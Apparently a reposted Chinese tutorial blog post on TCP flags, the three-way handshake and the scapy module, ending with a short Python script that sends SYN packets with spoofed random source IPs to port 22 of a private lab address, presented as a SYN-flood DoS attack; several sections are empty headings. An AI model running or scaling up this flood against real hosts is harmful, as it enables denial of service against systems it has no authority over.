33.TCP协议概念/scapy模块doos攻击

TCP协议概念/scapy模块:


 

1,TCP/IP四层协议:

2,TCP数据包的构成:

  • TCP FLAGS:TCP数据包标志位
  1. U:URG,紧急比特
  2. A:ACK,确认比特
  3. P:PSH,推送比特
  4. S:SYN,同步比特:这个是一个连接请求的数据包,代表着我要主动连接对方
  5. F:FIN,终止比特:当我要和对方断开连接
  6. R:RST,复位比特:代表重新建立连接

3,tcp三次握手:

4,四次挥手:

 

5,scapy模块

  • 作用是用来doos攻击,SYN泛洪
  • scapy模块
  1. 构建TCP数据包
  • 安装scapy
  1. pip3 install scapy
from random import randint
from scapy.all import *
for var in range(20):
	random_ip = '%s.%s.%s.%s' % (randint(1,255),randint(1,255),randint(1,255),randint(1,255))
	random_port = 23333
	data = IP(dst='192.168.137.130',src=random_ip) / TCP(dport=22,sport=random_port,flags='S') #SYN TCP数据包
	send(data) #发送  

运行结果:  

 

原文地址:https://www.cnblogs.com/zhangan/p/10127840.html